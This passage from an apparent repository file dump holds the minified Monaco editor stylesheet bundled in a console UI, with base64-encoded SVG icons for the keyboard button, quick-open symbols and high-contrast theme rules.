.iPadShowKeyboard{width:58px;min-width:0;height:36px;min-height:0;margin:0;padding:0;position:absolute;resize:none;overflow:hidden;background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzNiI+PHBhdGggZmlsbD0iI0YwRUZGMSIgZD0iTTU0IDMydi0yOGgtNTB2MjhoNTB6bS0xNi0yaC0xOHYtNmgxOHY2em02IDBoLTR2LTZoNHY2em04IDBoLTZ2LTZoNnY2em0tNC0yNGg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bS02LTEyaDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptLTYtMTJoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDZoNHY0aC00di00em0tNi0xMmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bS02LTEyaDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptLTYtMTJoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDEyaC00di02aDR2NnptLTYtMjRoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDZoNHY0aC00di00em0tNi0xMmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg2djZoLTZ2LTZ6Ii8+PHBhdGggZmlsbD0iIzQyNDI0MiIgZD0iTTU1LjMzNiAwaC01My4yODVjLTEuMzQ0IDAtMi4wNTEuNjU2LTIuMDUxIDJ2MzJjMCAxLjM0NC43MDcgMS45NjUgMi4wNTEgMS45NjVsNTMuOTQ5LjAzNWMxLjM0NCAwIDItLjY1NiAyLTJ2LTMyYzAtMS4zNDQtMS4zMi0yLTIuNjY0LTJ6bS0xLjMzNiAzMmgtNTB2LTI4aDUwdjI4eiIvPjxyZWN0IHg9IjYiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMTIiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMTgiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMjQiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMzAiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMzYiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNDIiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNDgiIHk9IjEyIiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNiIgeT0iNiIgZmlsbD0iIzQyNDI0MiIgd2lkdGg9IjQiIGhlaWdodD0iNCIvPjxyZWN0IHg9IjEyIiB5PSI2IiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMTgiIHk9IjYiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIyNCIgeT0iNiIgZmlsbD0iIzQyNDI0MiIgd2lkdGg9IjQiIGhlaWdodD0iNCIvPjxyZWN0IHg9IjMwIiB5PSI2IiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMzYiIHk9IjYiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI0MiIgeT0iNiIgZmlsbD0iIzQyNDI0MiIgd2lkdGg9IjQiIGhlaWdodD0iNCIvPjxyZWN0IHg9IjQ4IiB5PSI2IiBmaWxsPSIjNDI0MjQyIiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNiIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIxMiIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIxOCIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIyNCIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIzMCIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIzNiIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI0MiIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI0OCIgeT0iMTgiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI2IiB5PSIyNCIgZmlsbD0iIzQyNDI0MiIgd2lkdGg9IjYiIGhlaWdodD0iNiIvPjxyZWN0IHg9IjQ2IiB5PSIyNCIgZmlsbD0iIzQyNDI0MiIgd2lkdGg9IjYiIGhlaWdodD0iNiIvPjxyZWN0IHg9IjIwIiB5PSIyNCIgZmlsbD0iIzQyNDI0MiIgd2lkdGg9IjE4IiBoZWlnaHQ9IjYiLz48cmVjdCB4PSIxNCIgeT0iMjQiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjYiLz48cmVjdCB4PSI0MCIgeT0iMjQiIGZpbGw9IiM0MjQyNDIiIHdpZHRoPSI0IiBoZWlnaHQ9IjYiLz48L3N2Zz4=\") 50% no-repeat;border:4px solid #f6f6f6;border-radius:4px}.monaco-editor.vs-dark .iPadShowKeyboard{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzNiI+PHBhdGggZmlsbD0iIzJCMjgyRSIgZD0iTTU0IDMydi0yOGgtNTB2MjhoNTB6bS0xNi0yaC0xOHYtNmgxOHY2em02IDBoLTR2LTZoNHY2em04IDBoLTZ2LTZoNnY2em0tNC0yNGg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bS02LTEyaDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptLTYtMTJoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDZoNHY0aC00di00em0tNi0xMmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bS02LTEyaDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptMCA2aDR2NGgtNHYtNHptLTYtMTJoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDEyaC00di02aDR2NnptLTYtMjRoNHY0aC00di00em0wIDZoNHY0aC00di00em0wIDZoNHY0aC00di00em0tNi0xMmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg0djRoLTR2LTR6bTAgNmg2djZoLTZ2LTZ6Ii8+PHBhdGggZmlsbD0iI0M1QzVDNSIgZD0iTTU1LjMzNiAwaC01My4yODVjLTEuMzQ0IDAtMi4wNTEuNjU2LTIuMDUxIDJ2MzJjMCAxLjM0NC43MDcgMS45NjUgMi4wNTEgMS45NjVsNTMuOTQ5LjAzNWMxLjM0NCAwIDItLjY1NiAyLTJ2LTMyYzAtMS4zNDQtMS4zMi0yLTIuNjY0LTJ6bS0xLjMzNiAzMmgtNTB2LTI4aDUwdjI4eiIvPjxyZWN0IHg9IjYiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMTIiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMTgiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMjQiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMzAiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMzYiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNDIiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNDgiIHk9IjEyIiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNiIgeT0iNiIgZmlsbD0iI0M1QzVDNSIgd2lkdGg9IjQiIGhlaWdodD0iNCIvPjxyZWN0IHg9IjEyIiB5PSI2IiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMTgiIHk9IjYiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIyNCIgeT0iNiIgZmlsbD0iI0M1QzVDNSIgd2lkdGg9IjQiIGhlaWdodD0iNCIvPjxyZWN0IHg9IjMwIiB5PSI2IiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iMzYiIHk9IjYiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI0MiIgeT0iNiIgZmlsbD0iI0M1QzVDNSIgd2lkdGg9IjQiIGhlaWdodD0iNCIvPjxyZWN0IHg9IjQ4IiB5PSI2IiBmaWxsPSIjQzVDNUM1IiB3aWR0aD0iNCIgaGVpZ2h0PSI0Ii8+PHJlY3QgeD0iNiIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIxMiIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIxOCIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIyNCIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIzMCIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSIzNiIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI0MiIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI0OCIgeT0iMTgiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjQiLz48cmVjdCB4PSI2IiB5PSIyNCIgZmlsbD0iI0M1QzVDNSIgd2lkdGg9IjYiIGhlaWdodD0iNiIvPjxyZWN0IHg9IjQ2IiB5PSIyNCIgZmlsbD0iI0M1QzVDNSIgd2lkdGg9IjYiIGhlaWdodD0iNiIvPjxyZWN0IHg9IjIwIiB5PSIyNCIgZmlsbD0iI0M1QzVDNSIgd2lkdGg9IjE4IiBoZWlnaHQ9IjYiLz48cmVjdCB4PSIxNCIgeT0iMjQiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjYiLz48cmVjdCB4PSI0MCIgeT0iMjQiIGZpbGw9IiNDNUM1QzUiIHdpZHRoPSI0IiBoZWlnaHQ9IjYiLz48L3N2Zz4=\") 50% no-repeat;border:4px solid #252526}.monaco-editor .tokens-inspect-widget{z-index:5;-webkit-user-select:text;-ms-user-select:text;-moz-user-select:text;-o-user-select:text;user-select:text;padding:10px}.tokens-inspect-separator{height:1px;border:0}.monaco-editor .tokens-inspect-widget .tm-token{font-family:monospace}.monaco-editor .tokens-inspect-widget .tm-token-length{font-weight:400;font-size:60%;float:right}.monaco-editor .tokens-inspect-widget .tm-metadata-table{width:100%}.monaco-editor .tokens-inspect-widget .tm-metadata-value{font-family:monospace;text-align:right}.monaco-editor .tokens-inspect-widget .tm-token-type{font-family:monospace}.quick-open-widget{font-size:13px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon,.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon{background-image:url(standalone/browser/quickOpen/symbol-sprite.svg);background-repeat:no-repeat}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.constructor,.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.function,.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.method{background-position:0 -4px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.field,.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.variable{background-position:-22px -4px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.class{background-position:-43px -3px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.interface{background-position:-63px -4px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.module{background-position:-82px -4px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.property{background-position:-102px -3px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.enum{background-position:-122px -3px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.rule{background-position:-242px -4px}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.file{background-position:-262px -4px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.constructor,.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.function,.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.method{background-position:0 -24px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.field,.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.variable{background-position:-22px -24px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.class{background-position:-43px -23px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.interface{background-position:-63px -24px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.module{background-position:-82px -24px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.property{background-position:-102px -23px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.enum{background-position:-122px -23px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.rule{background-position:-242px -24px}.vs-dark .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.file{background-position:-262px -24px}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon{background:none;display:inline}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon:before{height:16px;width:16px;display:inline-block}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.constructor:before,.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.function:before,.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.method:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI0IxODBENyIgZD0iTTUuNSAzbC00LjUgMi44NTd2NC4yODVsNC41IDIuODU4IDQuNS0yLjg1N3YtNC4yODZsLTQuNS0yLjg1N3ptLS41IDguNDk4bC0zLTEuOTA1di0yLjgxNmwzIDEuOTA1djIuODE2em0tMi4zNTgtNS40OThsMi44NTgtMS44MTUgMi44NTggMS44MTUtMi44NTggMS44MTUtMi44NTgtMS44MTV6bTYuMzU4IDMuNTkzbC0zIDEuOTA1di0yLjgxNWwzLTEuOTA1djIuODE1eiIvPjwvc3ZnPg==);margin-left:2px}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.field:before,.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.variable:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iIzc1QkVGRiIgZD0iTTEgNnY0bDQgMiA2LTN2LTRsLTQtMi02IDN6bTQgMWwtMi0xIDQtMiAyIDEtNCAyeiIvPjwvc3ZnPg==);margin-left:2px}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.class:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBvbHlnb24gZmlsbD0iI0U4QUI1MyIgcG9pbnRzPSIxMS45OTgsMTEuMDAyIDksMTEgOSw3IDExLDcgMTAsOCAxMiwxMCAxNSw3IDEzLDUgMTIsNiA3LDYgOSw0IDYsMSAxLDYgNCw5IDYsNyA4LDcgOCwxMiAxMSwxMiAxMCwxMyAxMiwxNSAxNSwxMiAxMywxMCIvPjwvc3ZnPg==)}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.interface:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iIzc1QkVGRiIgZD0iTTExLjUgNGMtMS43NTkgMC0zLjIwNCAxLjMwOC0zLjQ0OSAzaC0zLjEyMmMtLjIyMy0uODYxLS45OTgtMS41LTEuOTI5LTEuNS0xLjEwNCAwLTIgLjg5NS0yIDIgMCAxLjEwNC44OTYgMiAyIDIgLjkzMSAwIDEuNzA2LS42MzkgMS45MjktMS41aDMuMTIyYy4yNDUgMS42OTEgMS42OSAzIDMuNDQ5IDMgMS45MyAwIDMuNS0xLjU3IDMuNS0zLjUgMC0xLjkzMS0xLjU3LTMuNS0zLjUtMy41em0wIDVjLS44MjcgMC0xLjUtLjY3NC0xLjUtMS41IDAtLjgyOC42NzMtMS41IDEuNS0xLjVzMS41LjY3MiAxLjUgMS41YzAgLjgyNi0uNjczIDEuNS0xLjUgMS41eiIvPjwvc3ZnPg==)}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.module:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI0M1QzVDNSIgZD0iTTkgMTF2LTFjMC0uODM0LjQ5Ni0xLjczOCAxLTItLjUwNC0uMjctMS0xLjE2OC0xLTJ2LTFjMC0uODQtLjU4NC0xLTEtMXYtMWMyLjA4MyAwIDIgMS4xNjYgMiAydjFjMCAuOTY5LjcwMy45OCAxIDF2MmMtLjMyMi4wMi0xIC4wNTMtMSAxdjFjMCAuODM0LjA4MyAyLTIgMnYtMWMuODMzIDAgMS0xIDEtMXptLTYgMHYtMWMwLS44MzQtLjQ5Ni0xLjczOC0xLTIgLjUwNC0uMjcgMS0xLjE2OCAxLTJ2LTFjMC0uODQuNTg0LTEgMS0xdi0xYy0yLjA4MyAwLTIgMS4xNjYtMiAydjFjMCAuOTY5LS43MDMuOTgtMSAxdjJjLjMyMi4wMiAxIC4wNTMgMSAxdjFjMCAuODM0LS4wODMgMiAyIDJ2LTFjLS44MzMgMC0xLTEtMS0xeiIvPjwvc3ZnPg==);margin-left:2px}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.property:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI0M1QzVDNSIgZD0iTTEyLjA5IDQuMzU5bC0yLjY0MSAyLjY0MS0yLTIgMi42NDEtMi42NDFjLS41MDItLjIyNi0xLjA1NS0uMzU5LTEuNjQxLS4zNTktMi4yMDkgMC00IDEuNzkxLTQgNCAwIC41ODYuMTMzIDEuMTM5LjM1OSAxLjY0bC0zLjM1OSAzLjM2cy0xIDEgMCAyaDJsMy4zNTktMy4zNmMuNTAzLjIyNiAxLjA1NS4zNiAxLjY0MS4zNiAyLjIwOSAwIDQtMS43OTEgNC00IDAtLjU4Ni0uMTMzLTEuMTM5LS4zNTktMS42NDF6Ii8+PC9zdmc+);margin-left:1px}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.enum:before,.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.value:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PGcgZmlsbD0iIzc1QkVGRiI+PHBhdGggZD0iTTEyIDNoLTRsLTEgMXYyaDV2MWgtMnYxaDJsMS0xdi0zbC0xLTF6bTAgMmgtNHYtMWg0djF6TTMgMTJoNnYtNWgtNnY1em0xLTNoNHYxaC00di0xeiIvPjwvZz48L3N2Zz4=)}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.rule:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMiIgaGVpZ2h0PSIxMiI+PHBhdGggZmlsbD0iI0M1QzVDNSIgZD0iTTEwIDVoLTh2LTJoOHYyem0wIDFoLTZ2MWg2di0xem0wIDJoLTZ2MWg2di0xeiIvPjwvc3ZnPg==)}.hc-black .quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon.file:before{content:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBhdGggZmlsbD0iI0M1QzVDNSIgZD0iTTkuNjc2IDJoLTYuNjc2djEyaDEwdi05bC0zLjMyNC0zem0yLjMyNCAxMWgtOHYtMTBoNXYzaDN2N3oiLz48L3N2Zz4=)}.monaco-editor{font-family:-apple-system,BlinkMacSystemFont,Segoe WPC,Segoe UI,HelveticaNeue-Light,Ubuntu,Droid Sans,sans-serif}.monaco-menu .monaco-action-bar.vertical .action-item .action-label:focus{color:#0059ac;stroke-width:1.2px;text-shadow:0 0 .15px #0059ac}.monaco-editor.hc-black .monaco-menu .monaco-action-bar.vertical .action-item .action-label:focus,.monaco-editor.vs-dark .monaco-menu .monaco-action-bar.vertical .action-item .action-label:focus{color:#acddff;stroke-width:1.2px;text-shadow:0 0 .15px #acddff}.monaco-editor-hover p{margin:0}.monaco-editor.hc-black{-ms-high-contrast-adjust:none}@media screen and (-ms-high-contrast:active){.monaco-editor.vs-dark .view-overlays .current-line,.monaco-editor.vs .view-overlays .current-line{border-color:windowtext!important;border-left:0;border-right:0}.monaco-editor.vs-dark .cursor,.monaco-editor.vs .cursor{background-color:windowtext!important}.monaco-editor.vs-dark .dnd-target,.monaco-editor.vs .dnd-target{border-color:windowtext!important}.monaco-editor.vs-dark .selected-text,.monaco-editor.vs .selected-text{background-color:highlight!important}.monaco-editor.vs-dark .view-line,.monaco-editor.vs .view-line{-ms-high-contrast-adjust:none}.monaco-editor.vs-dark .view-line span,.monaco-editor.vs .view-line span{color:windowtext!important}.monaco-editor.vs-dark .view-line span.inline-selected-text,.monaco-editor.vs .view-line span.inline-selected-text{color:highlighttext!important}.monaco-editor.vs-dark .view-overlays,.monaco-editor.vs .view-overlays{-ms-high-contrast-adjust:none}.monaco-editor.vs-dark .reference-decoration,.monaco-editor.vs-dark .selectionHighlight,.monaco-editor.vs-dark .wordHighlight,.monaco-editor.vs-dark .wordHighlightStrong,.monaco-editor.vs .reference-decoration,.monaco-editor.vs .selectionHighlight,.monaco-editor.vs .wordHighlight,.monaco-editor.vs .wordHighlightStrong{border:2px dotted highlight!important;background:transparent!important;box-sizing:border-box}.monaco-editor.vs-dark .rangeHighlight,.monaco-editor.vs .rangeHighlight{background:transparent!important;border:1px dotted activeborder!important;box-sizing:border-box}.monaco-editor.vs-dark .bracket-match,.monaco-editor.vs .bracket-match{border-color:windowtext!important;background:transparent!important}.monaco-editor.vs-dark .currentFindMatch,.monaco-editor.vs-dark .findMatch,.monaco-editor.vs .currentFindMatch,.monaco-editor.vs .findMatch{border:2px dotted activeborder!important;background:transparent!important;box-sizing:border-box}.monaco-editor.vs-dark .find-widget,.monaco-editor.vs .find-widget{border:1px solid windowtext}.monaco-editor.vs-dark .monaco-list .monaco-list-row,.monaco-editor.vs .monaco-list .monaco-list-row{-ms-high-contrast-adjust:none;color:windowtext!important}.monaco-editor.vs-dark .monaco-list .monaco-list-row.focused,.monaco-editor.vs .monaco-list .monaco-list-row.focused{color:highlighttext!important;background-color:highlight!important}.monaco-editor.vs-dark .monaco-list .monaco-list-row:hover,.monaco-editor.vs .monaco-list .monaco-list-row:hover{background:transparent!important;border:1px solid highlight;box-sizing:border-box}.monaco-editor.vs-dark .monaco-tree .monaco-tree-row,.monaco-editor.vs .monaco-tree .monaco-tree-row{-ms-high-contrast-adjust:none;color:windowtext!important}.monaco-editor.vs-dark .monaco-tree .monaco-tree-row.focused,.monaco-editor.vs-dark .monaco-tree .monaco-tree-row.selected,.monaco-editor.vs .monaco-tree .monaco-tree-row.focused,.monaco-editor.vs .monaco-tree .monaco-tree-row.selected{color:highlighttext!important;background-color:highlight!important}.monaco-editor.vs-dark .monaco-tree .monaco-tree-row:hover,.monaco-editor.vs .monaco-tree .monaco-tree-row:hover{background:transparent!important;border:1px solid highlight;box-sizing:border-box}.monaco-editor.vs-dark .monaco-scrollable-element>.scrollbar,.monaco-editor.vs .monaco-scrollable-element>.scrollbar{-ms-high-contrast-adjust:none;background:background!important;border:1px solid windowtext;box-sizing:border-box}.monaco-editor.vs-dark .monaco-scrollable-element>.scrollbar>.slider,.monaco-editor.vs .monaco-scrollable-element>.scrollbar>.slider{background:windowtext!important}.monaco-editor.vs-dark .monaco-scrollable-element>.scrollbar>.slider.active,.monaco-editor.vs-dark .monaco-scrollable-element>.scrollbar>.slider:hover,.monaco-editor.vs .monaco-scrollable-element>.scrollbar>.slider.active,.monaco-editor.vs .monaco-scrollable-element>.scrollbar>.slider:hover{background:highlight!important}.monaco-editor.vs-dark .decorationsOverviewRuler,.monaco-editor.vs .decorationsOverviewRuler{opacity:0}.monaco-editor.vs-dark .minimap,.monaco-editor.vs .minimap{display:none}.monaco-editor.vs-dark .redsquiggly,.monaco-editor.vs .redsquiggly{background:transparent!important;border-bottom:4px double #e47777}.monaco-editor.vs-dark .greensquiggly,.monaco-editor.vs .greensquiggly{border-bottom:4px double #71b771}.monaco-editor.vs-dark .monaco-menu .monaco-action-bar.vertical .action-item .action-label:focus,.monaco-editor.vs .monaco-menu .monaco-action-bar.vertical .action-item .action-label:focus{-ms-high-contrast-adjust:none;color:highlighttext!important;background-color:highlight!important}.monaco-editor.vs-dark .monaco-menu .monaco-action-bar.vertical .action-item .action-label:hover,.monaco-editor.vs .monaco-menu .monaco-action-bar.vertical .action-item .action-label:hover{-ms-high-contrast-adjust:none;background:transparent!important;border:1px solid highlight;box-sizing:border-box}.monaco-diff-editor.vs-dark .diffOverviewRuler,.monaco-diff-editor.vs .diffOverviewRuler{display:none}.monaco-editor.vs-dark .line-delete,.monaco-editor.vs-dark .line-insert,.monaco-editor.vs .line-delete,.monaco-editor.vs .line-insert{background:transparent!important;border:1px solid highlight!important;box-sizing:border-box}.monaco-editor.vs-dark .char-delete,.monaco-editor.vs-dark .char-insert,.monaco-editor.vs .char-delete,.monaco-editor.vs .char-insert{background:transparent!important}}.context-view .monaco-menu{min-width:130px}"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.js",
